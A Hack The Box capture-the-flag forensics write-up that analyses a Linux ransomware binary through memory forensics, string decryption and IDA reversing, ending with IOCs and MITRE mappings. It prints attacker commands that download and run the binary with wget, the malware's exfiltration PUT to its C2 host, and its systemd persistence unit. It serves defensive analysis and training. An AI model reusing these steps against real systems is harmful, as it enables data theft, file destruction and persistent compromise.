Skip to main content

HTB-Lockpick3.0

Table of Contents
Difficulty: Hard
OS: Linux
Date: 2026-03-15

TL;DR
#

A Linux ransomware ELF binary (ubuntu-client) was deployed on a development server by an insider threat. The malware XOR-decrypts its strings at runtime using a command-line passphrase, beacons to a DigitalOcean-hosted C2 to retrieve an AES-256-CBC key and IV, recursively exfiltrates and encrypts files under /share with a .24bes extension, then installs a systemd persistence service before deleting itself.

Memory Analysis
#

Bash History
#

Memory analysis of the VMware snapshot (ubuntu-client-Snapshot2.vmem) using Volatility 3 revealed two distinct bash sessions. The insider (PID 636) executed the malicious binary multiple times with the argument xGonnaGiveIt2Ya before deleting it to cover their tracks. A remote attacker (PID 22683) subsequently connected over SSH, re-downloaded the binary from 10.10.0.70 and executed it again. Also show modifications to /etc/ssh/sshd_config.

 1PS C:\Users\s\Desktop\lockpick3 > vol -f .\ubuntu-client-Snapshot2.vmem linux.bash.Bash
 2Volatility 3 Framework 2.27.0
 3Progress:  100.00               Stacking attempts finished
 4PID     Process CommandTime     Command
 5...[snip]...
 6636     bash    2024-06-03 10:49:32.000000 UTC  nano /etc/ssh/sshd_config
 7636     bash    2024-06-03 10:50:30.000000 UTC  ip a
 8636     bash    2024-06-03 10:51:41.000000 UTC  nano /etc/ssh/sshd_config
 9636     bash    2024-06-03 10:53:22.000000 UTC  systemctl restart shh
10636     bash    2024-06-03 10:53:29.000000 UTC  sudo
11636     bash    2024-06-03 10:53:29.000000 UTC  systemctl restart ssh
12636     bash    2024-06-03 11:21:30.000000 UTC  ls
13636     bash    2024-06-03 15:31:03.000000 UTC  sudo apt-get install apache2
14636     bash    2024-06-03 15:32:44.000000 UTC  ./ubuntu-client xGonnaGiveIt2Ya
15636     bash    2024-06-03 15:36:00.000000 UTC  ./ubuntu-client xGonnaGiveIt2Ya
16636     bash    2024-06-03 15:40:24.000000 UTC  ./ubuntu-client xGonnaGiveIt2Ya
17636     bash    2024-06-03 15:50:57.000000 UTC  rm ubuntu-client
18...[snip]...
1922683   bash    2024-06-03 15:51:25.000000 UTC  mdkir /share
2022683   bash    2024-06-03 15:51:25.000000 UTC  wget http://10.10.0.70:8123/ubuntu-client
2122683   bash    2024-06-03 15:51:25.000000 UTC  wget http://10.10.0.70:8000/ubuntu-client
2222683   bash    2024-06-03 15:51:38.000000 UTC  ./ubuntu-client xGonnaGiveIt2Ya
2322683   bash    2024-06-03 15:54:24.000000 UTC  sudo apt-get install libcjson-dev
2422683   bash    2024-06-03 15:54:31.000000 UTC  ./ubuntu-client xGonnaGiveIt2Ya

Initial Analysis
#

 1.\ubuntu-client: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked,
 2interpreter /lib64/ld-linux-x86-64.so.2,
 3BuildID[sha1]=595b1b2a3a1451774884ddc5d265e25a44e21574, for GNU/Linux 3.2.0, stripped
 4┌─────────────┬────────────────────────────────────────────────────────────────────────────────────┐
 5│ md5         │ a2444b61b65be96fc2e65924dee8febd                                                   │
 6│ sha1        │ 071de351a8c1d4df1437c8d68e217a19c719c7af                                           │
 7│ sha256      │ fc519667f03cb94ab7675c0427da42a38abb8675dda4b53cea814499040c0947                   │
 8│ os          │ linux                                                                              │
 9│ format      │ elf                                                                                │
10│ arch        │ amd64                                                                              │
11│ path        │ C:/Users/s/Desktop/lockpick3/ubuntu-client                                         │
12└─────────────┴────────────────────────────────────────────────────────────────────────────────────┘

Strings
#

Static analysis of the binary revealed its core capabilities before any reversing. The malware uses AES-256-CBC likely to encrypt files with extensions .txt .pdf .sql .db .docx .xlsx .pptx .zip .tar .tar.gz, renaming each to .24bes. Communication with the C2 server is handled via libcurl over HTTPS using two endpoints: /connect and /upload/.

 1EVP_EncryptUpdate
 2EVP_EncryptInit
 3EVP_aes_256_cbc
 4EVP_CIPHER_CTX_new
 5EVP_EncryptFinal
 6EVP_CIPHER_CTX_free
 7...[snip]...
 8Content-Type: application/json
 9/connect
10key
11client_id
12{"passphrase": "%s", "hostname": "%s"}
13.txt
14.pdf
15.sql
16.db
17.docx
18.xlsx
19.pptx
20.zip
21.tar
22.tar.gz
23X-Filename: %s
24/upload/
25%s.24bes

Reversing with IDA
#

Strings Encryption
#

All sensitive strings in the binary are XOR-encrypted at rest and decrypted at runtime by mw_xor_decryption() using the passphrase supplied as a command-line argument. The routine iterates over each byte of the encrypted buffer and XORs it against the key with wrap-around (i % key_length).

IDA — XOR decryption call chain in main

IDA — systemd unit string and systemctl command decryption

IDA — decrypted systemd unit file content at 0x60C0

The XOR key used for all string decryption is xGonnaGiveIt2Ya — the passphrase passed as argv[1] at execution time. In hex: 78476f6e6e61476976654974325961. For comfortably, i used the IDA plugin hrt to decrypt data with algorithm Xor with string, key 78476f6e6e61476976654974325961:

hrt plugin configuration

The full list of strings decrypted at startup:

AddressDecrypted ValuePurpose
unk_6020https://plankton-app-3qigq.ondigitalocean.app/C2 base URL
aShare/share/Target directory
aSebh24sebh24Passphrase sent to C2
aUsrBinUbuntuRu/usr/bin/ubuntu-runPersistence binary path
aEtcSystemdSyst/etc/systemd/system/ubuntu_running.serviceSystemd unit path
aUnitDescriptio[Unit]\nDescription=Ubuntu Running\n...Systemd unit content
aSystemctlDaemosystemctl daemon-reload && systemctl enable ubuntu_running.service && systemctl start ubuntu_running.servicePersistence activation

After all strings are decrypted, main executes three functions:

IDA — main execution flow after decryption

C2 Communication — Key Retrieval
#

The function mw_request_and_key_retrieving performs the initial C2 beacon. It builds a JSON payload containing the hardcoded passphrase sebh24 and the victim’s hostname, then POSTs it to /connect.

IDA — curl setup for /connect request

ValueCURLOPT ConstantDescription
10002CURLOPT_URLRequest URL
10015CURLOPT_POSTFIELDSPOST request body (JSON payload)
20011CURLOPT_WRITEFUNCTIONCallback function for writing the response
10001CURLOPT_WRITEDATABuffer where the response is written
10023CURLOPT_HTTPHEADERHTTP headers (Content-Type: application/json)

The payload is constructed by mw_passphrase_and_hostname:

IDA — mw_passphrase_and_hostname function

1{"passphrase": "sebh24", "hostname": "<victim_hostname>"}

On success, the C2 responds with a JSON object containing three fields parsed via cJSON:

IDA — cJSON parsing of C2 response

FieldPurpose
keyAES-256-CBC encryption key
ivAES initialisation vector
client_idUnique victim tracking identifier

Encryption only proceeds if both key and iv are successfully received. If the C2 is unreachable, the malware exits without encrypting any files.

File Exfiltration & Encryption
#

The malware implements a recursive directory traversal starting at /share/, targeting files with the following extensions:

1s2[0] = ".txt";   s2[1] = ".pdf";   s2[2] = ".sql";
2s2[3] = ".db";    s2[4] = ".docx";  s2[5] = ".xlsx";
3s2[6] = ".pptx";  s2[7] = ".zip";   s2[8] = ".tar";
4s2[9] = ".tar.gz";

Each matching file is exfiltrated to the C2 via an HTTP PUT request before any encryption occurs:

1PUT https://plankton-app-3qigq.ondigitalocean.app/upload/<client_id>
2X-Filename: <filename>

IDA — file exfiltration via curl PUT

Then the file is encrypted using AES-256-CBC with the key and IV retrieved from C2. The encrypted output is written to <filename>.24bes, the original file is zero-wiped with memset, and then deleted with remove() — preventing recovery via file carving or undelete tools.

IDA — AES encryption, zero-wipe and file deletion

Persistence
#

After encryption completes, the malware installs itself as a systemd service to survive reboots. It copies the binary to /usr/bin/ubuntu-run, writes the following unit file to /etc/systemd/system/ubuntu_running.service, then runs systemctl daemon-reload && systemctl enable ubuntu_running.service && systemctl start ubuntu_running.service.

 1[Unit]
 2Description=Ubuntu Running
 3After=network.target
 4
 5[Service]
 6ExecStart=/usr/bin/ubuntu-run xGonnaGiveIt2Ya
 7Restart=always
 8User=root
 9
10[Install]
11WantedBy=multi-user.target

IDA — persistence installation function

Note that ExecStart passes xGonnaGiveIt2Ya as the argument — meaning the XOR decryption key is baked into the service definition, allowing the malware to restart and re-encrypt after a reboot or recovery attempt.

IOCs
#

TypeValue
MD5a2444b61b65be96fc2e65924dee8febd
SHA1071de351a8c1d4df1437c8d68e217a19c719c7af
SHA256fc519667f03cb94ab7675c0427da42a38abb8675dda4b53cea814499040c0947
C2 URLhttps://plankton-app-3qigq.ondigitalocean.app/
C2 Endpoint/connect — key retrieval
C2 Endpoint/upload/<client_id> — file exfiltration
Attacker IP10.10.0.70
Ransomware extension.24bes
Persistence binary/usr/bin/ubuntu-run
Persistence service/etc/systemd/system/ubuntu_running.service
XOR keyxGonnaGiveIt2Ya
C2 passphrasesebh24

MITRE ATT&CK
#

TechniqueIDDescription
Ingress Tool TransferT1105Binary downloaded via wget from 10.10.0.70
Obfuscated Files or InformationT1027XOR-encrypted strings keyed on CLI passphrase
Application Layer Protocol: HTTPST1071.001C2 communication to DigitalOcean over HTTPS
Exfiltration Over C2 ChannelT1041Files PUT to /upload/<client_id> before encryption
Data Encrypted for ImpactT1486AES-256-CBC encryption → .24bes extension
Indicator Removal: File DeletionT1070.004Originals zeroed and removed after encryption
Create or Modify System Process: Systemd ServiceT1543.002ubuntu_running.service for persistence
Modify SSH ConfigT1098/etc/ssh/sshd_config modified early in session

Attack Flow
#

%%{init: {'theme': 'base', 'themeVariables': { 'background': '#ffffff', 'mainBkg': '#ffffff', 'primaryTextColor': '#000000', 'lineColor': '#333333', 'clusterBkg': '#ffffff', 'clusterBorder': '#333333'}}}%%
graph TD
    classDef default fill:#f9f9f9,stroke:#333,stroke-width:1px,color:#000;
    classDef input fill:#e1f5fe,stroke:#0277bd,stroke-width:2px,color:#000;
    classDef check fill:#fff9c4,stroke:#fbc02d,stroke-width:2px,stroke-dasharray: 5 5,color:#000;
    classDef exec fill:#ffebee,stroke:#c62828,stroke-width:2px,color:#000;
    classDef term fill:#e0e0e0,stroke:#333,stroke-width:2px,color:#000;

    Start([Attacker 10.10.0.70]):::input --> SSHConfig[Modify /etc/ssh/sshd_config]:::exec

    subgraph Delivery [Delivery]
        SSHConfig  --> Exec[./ubuntu-client xGonnaGiveIt2Ya]:::exec
    end

    subgraph Decryption [String Decryption]
        Exec --> XOR[XOR decrypt strings
key = xGonnaGiveIt2Ya]:::exec XOR --> Strings[C2 URL /share/
/usr/bin/ubuntu-run
ubuntu_running.service]:::exec end subgraph C2 [C2 Registration] Strings --> Connect[POST /connect
passphrase + hostname]:::exec Connect --> KeyRecv[Receive AES key
IV + client_id]:::exec end subgraph Impact [Encryption and Exfiltration] KeyRecv --> Traverse[Recursive traversal
/share/]:::exec Traverse --> Exfil[PUT /upload/client_id
X-Filename header]:::exec Exfil --> Encrypt[AES-256-CBC encrypt
→ filename.24bes]:::exec Encrypt --> Wipe[Zero + remove original]:::exec end subgraph Persistence [Persistence] KeyRecv --> CopyBin[Copy to /usr/bin/ubuntu-run]:::exec CopyBin --> Service[Write ubuntu_running.service]:::exec Service --> Systemctl[systemctl daemon-reload
enable + start]:::exec Systemctl --> Boot((Survives reboot)):::exec end